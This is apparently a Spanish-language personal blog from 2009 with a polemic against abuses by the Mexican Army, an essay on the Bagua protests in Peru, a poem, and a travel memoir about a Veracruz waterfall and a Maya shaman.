“Actualmente el Ejército ejerce actividades policíacas... Se ven soldados por todas partes; no hay en el país una ciudad importante que no cuente con cuarteles situados en su centro donde los soldados están siempre listos para toda eventualidad. La disciplina de tiempos de guerra se mantiene en todo momento y la presencia de los soldados y sus constantes maniobras son una amenaza perpetua contra el pueblo. Se lanza a los soldados contra él con suficiente frecuencia para que el pueblo conserve siempre en la memoria el hecho de que la amenaza no es vana.”

Esta cita que describe perfectamente la situación actual del Ejército Mexicano no es de ningún escritor contemporáneo, aunque pareciera que así fuera. Esta cita fue escrita hace más de 100 años por John Keneth Turner, en su famoso libro México Barbaro, para describir al Ejército porfiriano, cuya naturaleza era esencialmente criminal y contrainsurgente, siendo utilizado como un cuerpo de asesinos a sueldo del Generalísimo Díaz.

“El pretexto del general Díaz para mantener tal Ejército en tiempo de paz [Decía Turner] siempre ha sido la insinuación de que el país podría hallarse en cualquier tiempo en peligro de ser invadido por los Estados Unidos. La prueba de que su objeto no era estar preparado contra una invasión, sino contra una revolución interna, se halla en el hecho de que en vez de fortificar la frontera, ha fortificado ciudades del interior. Además mantiene al grueso del Ejército concentrado cerca de los grandes centros de población...”

Hoy ya no se utiliza el temor a una invasión militar norteamericana para justificar la desorbitante presencia del Ejército entre la población civil y su papel contrainsurgente. No obstante, la realidad no es muy diferente. La nueva excusa es la supuesta guerra contra el crimen organizado y la amenaza constante del narcotráfico. Los aparatos ideológicos del Estado no descansan en su intento de hacernos sentir amenazados por los sicarios de los diferentes cárteles y bandas delincuenciales, pretendiendo así justificar la inconstitucional militarización de la sociedad. El 26 de junio, por ejemplo, la ex secretaria de educación y coordinadora nacional de la campaña de los candidatos a diputados federales del PAN, Josefina Vázquez Mota, en una verdadera muestra de esquizofrenia política declaró: “...he escuchado una gran mayoría de voces diciendo al presidente que no retire al Ejército de las carreteras, porque significaría sentirnos más vulnerables, más desprotegidos.”

¡Nada más lejos de la realidad!

Hoy por el contrario, al igual que en tiempos de Porfirio Díaz, la presencia del Ejército no sólo es la causante de un sentimiento de vulnerabilidad y desprotección en las comunidades sino que causa terror e indignación ante los repetidos casos de agresiones de los militares en contra de las comunidades, a quienes viola impunemente sus derechos humanos, llegando incluso hasta el asesinato y la desaparición forzada. Lejos de proteger la seguridad de la población y luchar contra la delincuencia, al Ejército lo han convertido en aliado de los cárteles de la droga y en un brazo armado de la mafia en el poder.

¿Suena esto muy exagerado? ¿Será que no se está siendo objetivo? Bueno, para muestra basta no sólo uno, sino muchos botones:

En la reciente incursión del Ejército en las comunidades de Puerto de Las Ollas y Las Palancas, en el municipio de Coyuca de Catalán, Guerrero, entraron más de 500 soldados a las comunidades gritando “¡Viva Rogaciano!” haciendo referencia a Rogaciano Alba, conocido jefe narcotraficante, vinculado al cártel del Chapo Guzmán, y cacique ganadero, ex-presidente de la Unión Ganadera de Guerrero, protegido por Zeferino Torreblanca. Las comunidades denunciaron que los soldados dispararon a discreción en contra de la población y torturaron a Omar García, un adolescente de 14 años, a quien vendaron de los ojos, cubrieron su cabeza con una bolsa de plástico y le aplicaron toques eléctricos, y a Cesar Acosta, un joven discapacitado de 33 años a quien introdujeron agujas bajo las uñas y aplicaron toques eléctricos. Esta acción fue inmediatamente denunciada por Amnistía Internacional que emitió una Acción Urgente el 22 de junio, en donde relata los hechos y advierte del peligro en que se encuentra esta región pues ha incrementado el número de violaciones cometidas por el Ejército en contra de las comunidades. Amnistía informa que “ha documentado un número cada vez mayor de incidentes en todo México, en los que miembros del Ejército han participado en homicidios ilegítimos, tortura, malos tratos, detenciones arbitrarias, y registros domiciliarios ilegales.”

Irónicamente, ese mismo día, los periódicos en Guerrero reportaban el vil asesinato de un civil a manos de soldados que abrieron fuego en contra de un autobús de pasajeros en Huamuxtitlan, Guerrero, cerca de Tlapa de Comonfort. En esa ocasión, al revisar el vehículo en un retén, los soldados detuvieron al pasajero Fausto Saavedra Velara, indígena na savi, por el “delito” de usar botas “de uso exclusivo del ejército”. El chofer al percatarse de tan ridícula injusticia comenzó a discutir con los soldados, quienes lo insultaron y se negaron a firmar un documento en donde constataran que tenían a Fausto. Después del altercado, el jefe militar le indicó al chofer que se retirara, y una vez que el autobús reanudó la marcha, los soldados abrieron fuego deliberadamente, matando a otro pasajero de nombre Bonfilio Rubio Villegas.

En esos días, mientras llegaba también la información de que el Ejército incursionaba en la comunidad de Tlacoachixtlahuaca, Guerrero, anunciaban los periódicos que la Corte Interamericana de Derechos Humanos (CIDH) demandó al Estado Mexicano por la agresión y tortura sexual en contra de la indígena me'phaa Inés Fernández Ortega, quien fue violada por elementos del Ejército Mexicano el 22 de marzo de 2002.

A pesar de la continua cerrazón de Felipe Calderón y sus compinches, quienes se han empeñado en defender a ultranza la presencia de su Ejército en las comunidades ignorando complacientemente estos acontecimientos, tales violaciones continúan siendo la práctica cotidiana y sistemática de esa institución. Recordemos también la violación de Valentina Rosendo Huerta, de Barranca de Bejuco, Guerrero, atacada sexualmente por soldados del 41 Batallón de Infantería, el 16 de febrero del 2002; la violación y asesinato de la señora Ernestina Asencio en la comunidad de Tetlacinga, municipio de Soledad Atzompa en la Sierra de Zongolica, en Veracruz, quien fue abusada sexualmente hasta la muerte por el Ejército el 26 de febrero de 2007; el cobarde ataque de soldados del 19 Batallón de Infantería, el 29 de junio de 2007, en contra de un vehículo que pasaba por un retén en San Luis de la Loma, municipio de Tecpan de Galeana, Guerrero, al que abrieron fuego hiriendo de gravedad a una niña de 13 años que en él se transportaba.

En el norte del país no es diferente la realidad. Apenas el pasado 25 de junio, los militares abrieron fuego arbitrariamente en contra de una pareja de novios que viajaban en un Civic Honda en Monclova, Coahuila. Los militares huyeron después de dejar a Monserrat Dávila herida por dos impactos de bala en la espalda y a Cesar Moreno herido en el antebrazo. Recordemos también la violación de 13 mujeres cometida por más de 20 elementos del Ejército en Castaño, Coahuila, el 11 de julio de 2006; el asesinato de una familia de cinco personas por parte del Ejército en Sinaloa, quien abrió fuego en junio de 2006 en contra de un vehículo que no se detuvo en un retén, matando a dos mujeres y tres niños de 2, 4 y 7 años de edad.

¿Esta es la protección y la seguridad de la que habla Josefina Vázquez Mota? ¿Este es el Glorioso Ejército Mexicano del que tanto alarde hace Felipe Calderón? ¿Este Ejército combate a la delincuencia organizada?

Los hechos muestran que el Ejército Mexicano no busca combatir la tan mencionada “delincuencia organizada”. Por el contrario, el Ejército protege y es parte de la delincuencia organizada; su objetivo es llevar a cabo una guerra contra el pueblo, una guerra contrainsurgente y de baja intensidad, aterrorizando a las comunidades y protegiendo los intereses de caciques y narcotraficantes. Al igual que hace 100 años, el Ejército Mexicano actual no está preparado para proteger la soberanía o la seguridad del pueblo mexicano; su misma estructura parece diseñada para atacar al pueblo y contener todo intento de organización popular.

El Ejército Mexicano es el más grande en América Latina, después de Brasil, y cuenta con 237 mil elementos activos, repartidos en 12 regiones militares y 45 zonas. Sus principales objetivos en el papel, de acuerdo al reglamento orgánico de la institución, son “defender la integridad, la independencia y la soberanía de la nación; garantizar la seguridad interior; y auxiliar a la población civil en casos de necesidades públicas”. Estos objetivos se operan en el Plan DN-I (seguridad externa), DN-II (seguridad interna) y DN-III (protección civil). No obstante, hoy es sólo el plan DN-II el que se aplica y el que verdaderamente responde a la lógica del Estado Mexicano. Esta es una función policíaca que no le correspondería al Ejército, pero en la lógica militarista de las actuales mafias en el poder, el objetivo principal de la existencia de esta institución es contener por medio del terror toda forma de rebelión o de organización social independiente.

Cada vez es más claro que el Ejército actúa como un grupo de criminales a sueldo al servicio de las mafias que hoy controlan el poder del Estado. Es por esto que unimos nuestra voz a la del pueblo mexicano que exige la salida de las comunidades y ciudades del mal llamado Ejército Mexicano, que más bien parece Ejército Criminal de Ocupación.

martes, 30 de junio de 2009

¡La selva no se vende, la selva se defiende!

Con este grito de combate, miles de indígenas de la selva amazónica peruana se levantaron en contra de las fuerzas represivas y militares del presidente Alan García, quien buscaba a toda costa despojarlos de sus tierras ancestrales para entregárselas a las grandes corporaciones nacionales y transnacionales para su explotación.

Una vez más, los intereses capitalistas y sus gobiernos lacayos demostraron que no están dispuestos a respetar la vida de los pueblos indígenas a quienes ven como un obstáculo para el “desarrollo” del capital. A finales del 2008, el ultraderechista Alan García emitió una serie de decretos, como el DL 1090, la “Ley Forestal y de Fauna Silvestre” y la “Ley de Recursos Hídricos”, en los que se disponía la entrega de los recursos naturales a los grandes capitales, permitiendo la privatización de los bosques y recursos hídricos de la selva peruana, habitada por más de 60 etnias indígenas. Un año antes, en octubre de 2007, García había hecho explícita su lógica neoliberal en un artículo en donde expresaba que la inversión “necesita propiedad segura, pero hemos caído en el engaño de entregar pequeños lotes de terreno a familias pobres que no tienen un centavo para invertir... esa misma tierra vendida en grandes lotes traería tecnología.” Desde su punto de vista, era más rentable dar más tierra a los grandes capitalistas y despojar a los pobres de sus terrenos porque ellos “no producen” capital. Quedaba claro que su gobierno era un gobierno de los ricos y para los ricos, que no tenía el más mínimo interés en proteger el interés de los pobres.

Sin embargo, el pueblo peruano no se quedó con las manos cruzadas viendo cómo se le despojaba de sus tierras y recursos. El 9 de abril se movilizaron pacíficamente miles de indígenas amazónicos para exigir al gobierno la derogación de estas leyes entreguistas, que comenzaron a conocerse como las “Leyes de la Selva”. Enseguida se organizaron paros y manifestaciones que fueron contestadas con la cerrazón del gobierno, quien movilizó a las fuerzas policiacas y al ejército, declarando un Estado de Sitio en la zona, suspendiendo todas las garantías individuales. Esto provocó una respuesta más enérgica de las comunidades, que comenzaron a hacer cortes de carretera, cierre de válvulas de gaseoductos y bloqueos a la navegación en los ríos.

El pasado 5 de junio, la represión alcanzó su punto más brutal cuando los militares incursionaron en la ciudad de Bagua, ubicada 1 400km al norte de la capital peruana, y perpetraron una feroz masacre en contra de los pueblos indígenas. Los soldados asesinaron a más de 40 indígenas, dejando también un saldo de decenas de desaparecidos y cientos de heridos. Algunos campesinos denunciaron que el Ejército arrojó cuerpos de indígenas a los ríos para que no se contabilizaran entre los muertos. Para el 8 de junio, las Fuerzas Armadas había desplazado a las autoridades civiles de Bagua.

Como era de esperarse, los medios de comunicación comerciales escondieron los crímenes y se dedicaron a tergiversar los hechos. Mostraron escenas de policías golpeados y pidieron la represión indiscriminada. También hicieron eco de las declaraciones racistas de Alan García, diciendo que las movilizaciones eran producto de intereses extranjeros que manipulaban a los indígenas “ignorantes”. Mientras tanto, los medios alternativos fueron acallados, como es el caso de la Radio la Voz, un medio independiente indígena que fue sacado del aire por las fuerzas del gobierno.

No obstante, los pueblos amazónicos no se dejaron intimidar, advirtieron que defenderían su tierra con la vida, y respondieron a la embestida gubernamental. El 7 de junio, 1 300 indígenas ocuparon el aeropuerto de Trompeteros, en el noroeste del país. Se incrementaron las movilizaciones y se convocó a una jornada nacional de lucha que incluía paros y acciones regionales en todo el país, así como una marcha nacional programada para el 11 de junio.

Como resultado de la movilización popular, el gobierno comenzó a recular y declaró la suspensión provisional de las “Leyes de la Selva”. Sin embargo, las comunidades no se dejaron engañar pues lo que se exigía era la derogación total de estas leyes y no una mera suspensión temporal.

Continuaron las movilizaciones y la presión internacional, lo que hizo que finalmente, el 18 de junio, el gobierno tuviera que derogar las leyes en cuestión. Esto se convirtió en un gran triunfo para los pueblos amazónicos y para todo el pueblo peruano. Una vez derrotado, Alan García, admitió que su gobierno había cometido “errores con los indígenas” y que había que “volver a empezar”. Estas cínicas declaraciones ignoraron convenientemente toda la sangre derramada por los pueblos en esta lucha, así como los exiliados, desaparecidos y perseguidos que todavía siguen en las cárceles militares.

Es por esto que los pueblos no han bajado la guardia y continúan exigiendo el alto a la persecución y el castigo a los responsables. No obstante, los indígenas peruanos comprobaron una vez más que sólo con la lucha popular se puede detener el avance del despojo imperialista y la acumulación de capital a costa del bienestar popular. Esto explica que hoy, aun después del gran triunfo popular, se escuche todavía y con más fuerza el grito de ¡la selva no se vende, la selva se defiende!

martes, 19 de mayo de 2009

Más allá del olvido

Hoy te volví a encontrar...

No había aun terminado mi viaje nocturno,
cuando ya extinta tu ternura había quedado.
El sueño taciturno de noche andado
me hizo descubrir tu deseo inoportuno.
Sentí una vez más tu cabello,
los destellos de tu cuerpo,
en tu mirada, la amargura,
el vacío de tu abrazo,
y la dulce promesa de una renovada cordura.

Asomaste a la sombra de tu olvidado escondite,
mezcla de absurdo y contundente,
con cimiento de lúdico y pueril.
Te encontré serena, como otras veces,
con el pecho descubierto,
tumulto de fragilidades,
escapando a saltos de tu vestido,
queriendo impresionar al mundo,
con tus gestos de grandeza malograda.

¿Sabes...?
Ya no te encuentro deleznable.
No... tu desvalor se ha tragado mi abyección,
futilidad que raya en lo absurdo,
de la palabra no encontrada...
El mundo cada vez más inhumano,
arde en muerte e ignominia,
y yo en mi pequeña prisión de libertad,
castigo infame de vergüenza y cobardía.

Que mis pensamientos no entren nunca más,
en el recinto de la vanidad,
orgullo lastimado...
y mi cuerpo lleno de vacío,
se derrumbe ante lo trascendente,
que se encadene a una columna de voluntades,
mientras te busco entre escombros de nostalgias...
Libero del olvido a tu recuerdo,
pero ahora, sin temor, lo entrego a la experiencia.

Finalmente escojo libre a quien amar,
y me entrego a un amor tan imperfecto.
uno lleno de defectos,
uno eternamente diferente.
Ahora el momento en que me atreva a soñar...
Será por siempre el camino a la verdad.
Traviesa trampa del deseo,
Oculta en su espléndida imperfección, la libertad.
Hoy con fuego en mi corazón sentencio:

¡Que no se escuchen mis silencios nunca más...
y en su lugar retumbe irreverente la belleza de la verdad!

sábado, 7 de marzo de 2009

Viaje a la cascada...




Revisando y buscando unos documentos perdidos de hace ya algunos años, me topé con este texto que escribí después de un viaje por el sur de Veracruz; mi primer acercamiento a la escritura, incipiente y desordenado, pero parte de mi pasado. Siempre es interesante re-encontrarse y re-conocerse en esas primeras letras del pasado...

Viaje a la cascada “La Nueva” en Soteapan
(29 de agosto de 2004)

…finalmente, después de una interminable sesión sobre las posibilidades turísticas en la región, los presentes acordamos visitar una cascada que lleva el nombre de “La Nueva”.  Este lugar se encuentra a una hora y media de Coatzacoalcos viajando en carro. Está a unos cuantos kilómetros después de Chacalapa en la carretera a Chinameca.  Cuentan los lugareños que en toda esa región existe todavía la magia; que el avasallante poder del racionalismo colonial todavía no ha penetrado en los espacios de los indígenas nahua y popoluca de la sierra de Santa Marta, en el extremo sur de Veracruz, y quien se adentra en esos caminos no puede sino caer presa de las maravillas del misticismo prehispánico.
El hombre urbano que ansioso buscaba la manera de entretenernos en nuestra breve estancia en Coatzacoalcos, se encontraba satisfecho al ver que los extranjeros habíamos tomado con mucho entusiasmo su idea de pasar el fin de semana en La Nueva Cascada. Esa tarde hicimos todos los preparativos para el día siguiente. No había que olvidar el repelente y el gel antibacterial, pues según las advertencias de la embajada, las regiones selváticas de este país pueden ser muy peligrosas para los blancos.  Un par de botellas de agua, trajes de baño, toallas, algo de comer y todo estaba listo para el paseo.
A la mañana siguiente, nuestro anfitrión pasó muy temprano por nosotros en su pequeño y carcomido Sedán, y a eso de las diez de la mañana ya nos encontrábamos camino a la cascada. Ese día, el hombre urbano decidió olvidarse de sus negocios y con la alegría de quien olvida por un instante la tan temida cotidianidad, manejaba al mismo tiempo que nos conducía por un espléndido camino de historias, narraciones y revelaciones tan magnificas como extrañas e incomprensibles para nosotros.
Un día, hace ya algunos años, en mi juventud, decía el hombre urbano de identidad mestiza, tuve un viaje al mundo de los sueños en donde los dioses hablan con los mortales y pocos son los que saben escuchar. Estaba en un lugar donde se habían reunido muchos ancianos. Todos de piel obscura y semblante recio. Visiblemente perturbados por mi presencia, me observaban esperando que explicara mi estancia. Después de mucho rato de silencio, uno de ellos, el más sabio, quien estaba al frente del grupo, se me acercó y me preguntó: “¿qué quieres?”. Sin pensar, le contesté casi como por mecánica: “el poder del Jaguar”.
Visiblemente molesto, el viejo respondió con voz alzada y tono violento: “no estás listo todavía”. Subiendo aun más el tono de voz le respondí que sí lo estaba…
Enojado ya el anciano insistió en su enérgico rechazo pero en mi juventud insensata le respondí una vez más casi gritando: “sí lo estoy”.
El viejo irritado, finalmente me contestó: “Pues entonces... toma lo que quieres…”

La historia de Don Domingo Quem B'alam

En ese instante le dio un fuerte golpe en el pecho que le cortó la respiración y produjo un inmenso halo de luz. El hombre urbano espantado trató desesperadamente de contener el dolor y respirar; y en su intento despertó agitado de aquel sueño. Muchas noches después, tuvo incesantes sueños en donde el Jaguar se aparecía y bailaba una danza cósmica con él. Fue ahí donde entendió que había sido finalmente aceptado en la dinastía de los B’alam...

El Hombre que manejaba hacia La Nueva Cascada nos revelaba su ingreso a la dinastía de los B’alam.  Emocionado se remontaba a épocas pasadas y nos presentaba a personas muy queridas para él que habían ya dejado este mundo material. Una de estas personas era el humilde Domingo Quem B’alam.
En su despertar juvenil, nuestro hombre urbano gustaba de viajar a las zonas sagradas de las culturas prehispánicas en Mesoamérica. Buscaba reencontrar la grandeza espiritual de estos pueblos y ser partícipe de ella. En un viaje a Ek B’alam, ciudad Maya que lleva el nombre de Jaguar Negro y que floreció entre los años 600DC y 900DC, tuvo la oportunidad de conocer y platicar con una persona del lugar. Esta persona era muy humilde y trabajaba en la construcción de proyectos habitacionales locales.  Platicaron de diversos temas propios de un encuentro casual entre dos desconocidos. El hombre urbano, sin embargo, había notado que en diferentes partes de aquella zona había restos de incienso y copal. Estaba seguro que estos eran indicios de rituales sagrados. Momentos después, al desarrollarse la plática, el desconocido le reveló a nuestro hombre urbano que en ese lugar se hacían muchas ceremonias y que él conocía a las personas que llevaban a cabo esas ceremonias. Ya al despedirse, el hombre urbano logró que el desconocido lo invitara a volver en un futuro próximo. El desconocido le dijo que si regresaba, él podía llevarlo a conocer a los menes (chamanes) del lugar.
Unos quince días después, el hombre urbano agarró su mochila y tomó un camión de paso que lo dejó en ese mismo lugar. Había decidido regresar en busca de aquel desconocido que le había prometido llevarlo a conocer a los sacerdotes Mayas. Al llegar a donde estaba la construcción, se percató de que el desconocido no estaba en el lugar donde estaban los demás trabajadores. Preguntó por él a los presentes quienes le dijeron que ese día no había llegado a trabajar la persona a quien buscaba. Consternado el hombre urbano les preguntó si el desconocido vivía cerca del lugar. La respuesta no fue más grata que la anterior. Aquel desconocido que había prometido un encuentro con los chamanes del lugar vivía en una zona muy apartada en lo más recóndito de la sierra.
El hombre urbano, al no poder regresar y no conocer a nadie en ese lugar, les suplicó a los trabajadores que lo llevasen a la casa del desconocido. Estos le contestaron que tenían que trabajar pero que si esperaba, podrían llevarlo cuando terminaran ya que ellos vivían en el mismo lugar. Así pues, el hombre urbano esperó toda la tarde hasta que terminaran los trabajadores quienes al regresar a sus hogares para disfrutar del cotidiano descanso y poder así recuperar y reproducir su diaria dosis de fuerza productiva, llevaron a nuestro hombre hasta una choza muy humilde y le indicaron que esa era la casa en donde vivía el hombre que tanto buscaba.
Ansioso, nuestro personaje se apresuró a llamarle a gritos. Los otros trabajadores le gritaban de igual forma:
¡Aquí te buscan! Dice que es amigo tuyo.”
Por largo rato no hubo respuesta y tuvieron que volver a gritar hasta que por fin respondió el desconocido.
“¡No conozco a nadie! ¡No sé de quien me hablan!”
El hombre urbano, al oír estas palabras reflexionó:
“Apenas hablé unas cuantas horas con este desconocido. Qué ingenuo fui al pensar que se acordaría de mi”
Sin embargo, el miedo acogió al hombre urbano ya que la noche se adentraba y él no tenía dónde dormir. Al percatarse de su situación, el hombre, ansioso, se desesperó y comenzó a gritar enérgicamente.
“¡Soy yo! Acuérdate, nos conocimos hace unos días y me prometiste llevarme con los menes.”
Entonces, el desconocido guardó silencio y se asomó por una ventana de palo y sin vidrio. Salió enseguida y se le quedo mirando entre irritado y perplejo. El hombre urbano se percató de que el malhumorado desconocido se encontraba entre ebrio y trasnochado. Pensó en la insensatez de haber venido y quiso retirarse, pero el desconocido finalmente lo miró y le dijo con voz serena.
“Sígueme”
Caminaron por largas horas internándose en lo más oscuro de la selva. Siguieron hasta llegar a una pequeña choza en donde el desconocido entró y saludó a un viejo que ahí se encontraba. Platicaron los dos en su lengua maya sin que el hombre urbano los pudiera entender. Finalmente se despidieron y el desconocido comenzó a retirarse.
Aquél viejo, hombre de mirada recia y semblante fijo, emanaba fuerza de su ser. Era de tez morena y chaparrito, con el cabello grisáceo por su vejez. Su piel arrugada y canas blancas en las cejas y bigotes denotaban su avanzada edad. Una vez que el desconocido se había alejado, el viejo miró fijamente al hombre urbano y con un español muy quebrado le dijo en voz firme pero serena.
“¿Qué quieres?”
El hombre urbano, que hasta ese momento no había pensado en eso, se quedó callado, desorientado por la súbita pregunta.  Después de todo, la insensatez queda siempre al descubierto en ese momento en el que uno finalmente se ve confrontado con la consecución de lo buscado.  Uno siempre está seguro de lo que busca... hasta que lo encuentra.
Ante la perplejidad del hombre urbano, el viejo volvió a insistir: “¿Qué quieres? ¿Quieres escribir un libro?”
“No” contestó el hombre urbano.
“¿Quieres hacer una película?”
“No”
“¿Entonces, qué quieres?”
Guardo silencio el hombre y después de un rato pudo articular finalmente sus palabras y sólo atinó a decir:
“Quiero aprender”
El viejo calló y después de unos minutos le dijo al hombre urbano que se quedaría esa noche a dormir en su choza y que al otro día empezaría a aprender.
En esa ocasión, el hombre urbano estuvo toda una semana con el viejo. Después de este tiempo se despidió, ya que tenía que regresar a su familia y a sus negocios. Sin embargo, frecuentemente regresaba con el viejo y se pasaba temporadas enteras en el lugar.
Días después, supo que aquel viejo llevaba el nombre de Domingo Quem B’alam y aprendió que este era el guardián de Chichen-Itza. Conoció a su esposa e hija y logró hacer una gran amistad con ellos. Don Domingo le enseñaba los secretos de la espiritualidad Maya y este prestaba atención para poder conocer estos misterios y sentirse en armonía con la naturaleza y ser parte integra del cosmos. Sin embargo, siempre llegaba la hora en que tenía que regresar a sus negocios y dejaba la selva para volver a la espiritualidad de la oficina, el tráfico y el ajetreo.
Un día, Don Domingo se le acercó al hombre urbano y lo invitó a una reunión secreta de menes del lugar que iba a llevarse a cabo en unos días. Le dijo que en estas reuniones nunca aceptaban a mestizos, pero que él convencería a los otros menes y no habría problema en que él participara. El hombre urbano sintió temor, titubeó, y sin darse cuenta rechazó la invitación de Don Domingo.
Desde ese momento, las visitas se hicieron más y más infrecuentes. Poco a poco, el hombre urbano, casi dejó de visitar a Domingo y su familia.
Un día el hombre urbano decidió regresar al lugar. Alistó sus cosas y junto con su familia emprendió un nuevo viaje a aquel lugar. Llevaba consigo regalos para Domingo y su familia como acostumbraba a hacer cuando frecuentaba el lugar.
Al llegar a la casa de su amigo, el hombre urbano sintió una extraña sensación y se percató de que no había mucha actividad en la casa. Vio a las hijas de Domingo adentro, paradas y con una mirada penetrante. Buscó a Domingo con la mirada pero no lo encontró. Vio entonces a su esposa que lloraba amargamente, al pie del catre de palo que usaba la familia como cama. Entonces fue cuando una de las hijas se percató de la presencia del hombre urbano y se le acercó. Con dificultad pudo articular unas palabras que el hombre urbano ya había entendido antes de oírlas pero seguía rehusándose a aceptarlas.
Don Domingo Quem B’alam había muerto. Un dolor desgarrante inmovilizó al hombre urbano. Quiso gritar pero no pudo. Quiso llorar pero no lo hizo. Quiso correr pero su cuerpo se había petrificado como una estela maya olvidada por el tiempo. Sin entender el dolor del hombre urbano, su familia trataba de consolarlo. Entonces, la esposa de Don Domingo salió de la choza e invitó al hombre urbano a entrar. Hundida en su dolor, la señora no había recibido a nadie desde que Domingo murió.
El hombre urbano se dio cuenta de que había dejado ir al viejo Domingo sin haber querido aprender todo lo que podía haber aprendido. Las lágrimas comenzaron a fugarse en un frenesí desesperado de los ojos de aquel pobre hombre. Entonces supo que Domingo sólo había tenido dos amigos y él era uno.
La esposa de Domingo le dijo al hombre urbano que se llevara las pertenencias de su esposo, las plumas, las piedras y otros materiales que usaba Domingo en sus ceremonias. El hombre urbano no aceptó y pronto decidió retirarse. De regreso a su ciudad, el hombre urbano no lograba concentrarse y tuvo que manejar su esposa. No podía contener el dolor que sentía por el viejo Domingo.
Unas semanas después cuando hubo asimilado ya su dolor, el hombre urbano decidió regresar a visitar a la familia de Don Domingo. Al llegar al lugar aquel donde por primera vez Domingo recibió al hombre urbano, no pudo encontrar nada. Buscó y buscó y no halló rastros de la familia de Domingo. Entendió entonces que nunca volvería a ver a esa familia. Unos días después supo que la familia había desaparecido quince días después de la muerte de Domingo. Se habían ido con el alma de Don Domingo Quem B’alam.

Llegada a la cascada
El hombre que manejaba continuó sus relatos de historias fantásticas y vivencias misteriosas hasta llegar a nuestro destino. Paró el carro junto a una pequeña casa de lámina que estaba a unos metros de una palapa en donde jugaban alegremente un grupo de chiquillos. Se respiraba el calor húmedo tropical de la selva que sofocantemente nos hacía apresurarnos a descender del carro para poder tomar una profunda bocanada de aire fresco. Los chicos nos veían con la curiosidad propia de quien observa a un grupo de extraños invadir su espacio personal.
Después de saludar a unos hombres que cuidaban la entrada al lugar, el hombre urbano nos guió por una vereda que descendía y se internaba en la selva y se volvía cada vez más estrecha. Seguimos el camino hasta llegar a una gran bóveda de basalto de donde caía un fuerte chorro de agua de unos cuarenta metros de altura hacia una fosa de unos veinte o treinta metros de diámetro. De una esquina de la fosa, salía un arroyo que dejaba escapar el agua por las piedras a una velocidad que podía fácilmente arrastrar a cualquier persona que llegara a estar a unos pocos metros de distancia.
La parte superior de la gran bóveda dejaba asomar unas magníficas columnas pentagonales de basalto que como inmensas estalactitas amenazaban al aficionado con dejarse caer y enterrarse en el fondo de la fosa. Por debajo de las columnas, la gran pared natural estaba hecha de algún tipo de tierra filtrante por donde caían chorros de agua pura. Aquella pared de cuarenta metros de altura era una gran purificadora natural.
Después de admirar la grandeza que se presentaba ante nuestros ojos, nadamos y disfrutamos como cualquier gringo en Mazatlán. Al cabo de un rato caminábamos ya de regreso hacia la palapa de la entrada, dejando atrás el rugido de aquella cascada que enojada por nuestra presencia parecía un león que al verse perturbado en su sueño ruge para espantar a los intrusos.
Al llegar a la palapa, el hombre que había manejado hasta el lugar, hablaba con voz de mando a los indígenas pidiendo ser atendido, como cliente que protesta al esperar un servicio que ha comprado. Así, después de unas horas, degustamos una rica mojarra preparada con el sazón que sólo aquellos hombres y mujeres popoluca saben preparar.

De regreso a la ciudad por la carretera de las ideas
Después de haber disfrutado una breve estancia en la Nueva Cascada, nos despedimos de nuestros anfitriones y procedimos a embarcarnos en nuestros vehículos que nos llevarían de regreso a la ciudad en cuestión de minutos. Durante el camino, el hombre que manejaba comenzó una vez más a hablar de chamanes mayas y círculos secretos de la espiritualidad prehispánica. A nuestro alrededor, el paisaje estaba lleno de casas de lámina, de palo y de barro. Por todos lados saltaban a los ojos las estadísticas que presentaban al observante el 80% de mexicanos que vive en pobreza y en algunos casos dejaban ver los más de veinticinco millones de indigentes. En ese recorrido, el tiempo parecía no haber pasado y la modernidad era sólo una falacia en la imaginación de los conquistadores contemporáneos.
Fue entonces cuando el hombre que manejaba llegó en su conversación al tema del gran peligro que acecha a nuestros pueblos en el México contemporáneo. Habló de un monstruo voraz que amenaza con engullir sin piedad la tradición prehispánica. La plática dio paso a un intenso debate sobre la naturaleza del monstruo y de la responsabilidad de los hombres y mujeres de conciencia en incidir positivamente en la lucha por la humanidad.
No sólo es la ‘tradición’ o la ‘espiritualidad’ lo que ese monstruo devora en su existir Al crecer destruye pueblos enteros, hombres, viejos, niños y mujeres. Destruye árboles, ríos y montañas. Destruye culturas y sabidurías milenarias. Pero lo más importante, ese monstruo destruye día con día nuestra humanidad. Destruye el amor y la esperanza. Destruye la ilusión de una utopía movilizadora, de una utopía alentadora y creadora de igualdad.
Ese monstruo devorante fue creado por los hombres necios enfermos de poder, los cuales no pueden controlar más al monstruo y son poco a poco destruidos por el objeto de su creación que toma una vida propia y crece para destruir a su creador, como el hechicero que aventajado por el ente infernal que él mismo despertó pierde el control de su creación y es devorado sin piedad por este objeto de su propia hechicería.
Aquel monstruo infernal tiene un nombre. Pero como el que teme a pronunciar el nombre de un demonio inefable, muchos temen a llamar al monstruo por su nombre, sustituyéndolo por diversos eufemismos como “globalización”, “neoliberalismo”, “modernización”, “desarrollo económico”, “imperialismo”, “liberalismo” o “democracia occidental.” Ese monstruo es el capitalismo salvaje que roba la libertad y se alimenta del amor.
Cuando este monstruo aberrante era ya el tema central de la conversación en aquel pequeño vehículo que regresaba de la Nueva Cascada, el hombre que manejaba objetó diciendo que no estaba en las manos de los hombres o mujeres el detener a este monstruo. Habló de la existencia de un destino determinante al que todos inexorablemente nos supeditamos, un destinó que desde antes de la vida misma ya estaba escrito y predeterminado en el orden existente. Este destino, argumentaba el hombre urbano, era parte de un plan divino en el que cada quien vive la vida que le tocó vivir y cada quien sufre lo que debe sufrir y goza lo que debe gozar. De esta forma, el monstruo no puede ser detenido por los humanos, ya que la existencia misma del monstruo es parte del orden cósmico en el que existimos, no por casualidad. El hombre urbano insistía en que la liberación y la emancipación por las que debemos luchar, se encuentran en el plano espiritual. Es decir, la opresión material no es más que la ilusión de una vida material en la que no existimos realmente sino como entes espirituales. No debemos luchar por un cambio en el ámbito material porque todo lo que existe en nuestra realidad mundana es parte de un orden cósmico ya establecido y prediseñado en un plan divino.
Pero aquel orden del que hablaba el hombre que manejaba contrastaba irrebatiblemente con la presencia aun tangible en nuestro departir de aquel inefable monstruo. Aquel orden cósmico en donde todos son lo que merecen ser y todos tienen lo que cosecharon en algún otro espacio-tiempo, parecía ser más bien un desorden. Aquel orden en donde la mitad del mundo muere de hambre y la otra muere por guerras de poder no puede ser orden.

Ruego disculpas si el problema es meramente de semántica y en mi atrabancada insensatez entendí lo que no era o era lo que no entendí. Si orden es desorden y el antónimo resulta homónimo, entonces puede que haya entendido mal la metafísica. Pero si A no es su opuesto (~A) más que en el sentido dialéctico de la epistemología, entonces no puedo más que rechazar aquella idea de un orden teleológico previamente establecido por un destino causal.
